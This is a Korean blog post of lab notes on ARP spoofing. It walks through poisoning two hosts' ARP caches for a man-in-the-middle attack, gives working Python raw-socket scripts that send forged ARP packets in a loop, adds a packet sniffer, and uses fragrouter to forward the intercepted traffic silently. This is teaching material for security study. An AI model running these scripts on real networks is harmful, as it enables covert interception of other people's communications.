* 수동 아이피 설정
-/etc/sysconfig/network-scripts/ifcfg-eth0
BOOT=static
IPADDR=192.168.6.x
NETMASK
GATEWAY
DNS1
DNS2
네트워크 아이디: 192.168.6.0
넷마스크: 255.255.255.0
게이트웨이: 192.168.6.1
ARP Cache Poisoning
- 타겟 호스트의 ARP 캐시 테이블을 오염
ARP Spoofing
- 대표적인 sniffing 기법중에 하나
- MITM( Man In the Middle )Attack
양방향으로 통신 가로채기( ARP Spoofing(양방향) 실습 - 실습환경: linux )
- arping.py, arping2.py, sniffer.py, fragrouter툴을 이용해서 실습을 진행했다.
dst : 192.168.6.200
attacker: 192.168.6.112
- 113번에 arp 캐시 테이블을 200번 ip주소를 112번 MAC주소로 오염시키고
양방향 스니핑을 위해서 200번 arp 캐시 테이블은 113번 ip주소를
112번 MAC주소로 오염을 시켜 양쪽다 112번을 통해서 통신이 되도록 만든다.
- 그다음 스니퍼와 fragrouter를 실행 시켜주고 113번과 200번에 통신을 스니핑한다.
- 113번과 200번 사이에 통신이 일어나면 그 내용이 112번 사용자를 거쳐서 가게 되고
112번으로 들어온 패킷은 fragrouter 툴을 이용해서 포워딩을 이용해서 113번과 200번도 서로
정상적으로 통신이 되게 만들어주면 상대방 모르게 통신 내용 스니핑이 가능하다.
( fragrouter -B1 명령을 이용해서 포워딩 해준다 )
* arp.py에서 dst MAC 주소에 브로드캐스팅 주소를 적지 않고 타겟에 대한 정확한 MAC 주소를 작성했다.
- fragrouter 툴( 목적지가 다른 패킷을 목적지로 포워딩 해주는 기능 )
fragrouter rpm
* fragrouter 실행
#> fragrouter -B1
* fragrouter는 인터넷에서 rpm으로 검색해서 받으면 된다.
import socket
import time
from header.eth import *
from header.arp import *
sock = socket.socket( socket.AF_PACKET, socket.SOCK_RAW )
sock.bind( ('eth', socket.SOCK_RAW) )
eth = Eth()
arp = Arp()
eth.dst = '00:50:56:29:B0:0E'
eth.src = '00:50:56:3B:25:F8'
eth.type = 0x0806
arp.hard_type = 1
arp.hard_len = 6
arp.proto_type = 0x0800
arp.proto_len = 4
arp.opcode = 1
arp.sender_mac = '00:50:56:3B:25:F8'
arp.sender_ip = '192.168.6.200'
arp.target_mac = '00:00:00:00:00:00'
arp.target_ip = '192.168.6.113'
while True:
sock.send( eth.header + arp.header )
time.sleep(1)
arping2.py
import socket
import time
from header.eth import *
from header.arp import *
sock = socket.socket( socket.AF_PACKET, socket.SOCK_RAW )
sock.bind( ('eth', socket.SOCK_RAW) )
eth = Eth()
arp = Arp()
eth.dst = '00:50:56:31:A8:43'
eth.src = '00:50:56:3B:25:F8'
eth.type = 0x0806
arp.hard_type = 1
arp.hard_len = 6
arp.proto_type = 0x0800
arp.proto_len = 4
arp.opcode = 1
arp.sender_mac = '00:50:56:3B:25:F8'
arp.sender_ip = '192.168.6.113'
arp.target_mac = '00:00:00:00:00:00'
arp.target_ip = '192.168.6.200'
while True:
sock.send( eth.header + arp.header )
time.sleep(1)
sniffer.py
import socket
import struct
import time
from header.packet import *
raw = socket.socket( socket.PF_PACKET, socket.SOCK_RAW )
raw.bind( ('eth0', socket.SOCK_RAW) )
while True:
data, addr = raw.recvfrom( 65535 )
packet = Packet( data )
if packet.eth.type == 0x0800 and (packet.ip.src == '192,168.6.113' or \
packet.ip.dst == '192.168.6.113'):
print("data: ", data)
print(packet.ip.src + " -> " + packet.ip.dst)
print()
'프로그래밍 > NETWORK HACKING' 카테고리의 다른 글
[네트워크 보안] IP Fragment( 단편화 ) (0) | 2017.07.02 |
---|---|
[네트워크 보안] 2계층, 3계층 개념 및 프로토콜 종류 / ip헤더 체크섬 계산 / DNS서버에 에코 리퀘스트 전송 실습 (0) | 2017.07.02 |
[네트워크 보안] ARP 클래스 setter 추가 / arping.py (0) | 2017.06.22 |
[네트워크 보안] ARP / 파이썬3 ARP 클래스 정의 및 packet.py, sniffer.py 수정 (0) | 2017.06.22 |
[네트워크 보안] 파이썬3 UDP 프로토콜 클래스 정의 및 packet.py / sniffer.py 수정 (0) | 2017.06.21 |
댓글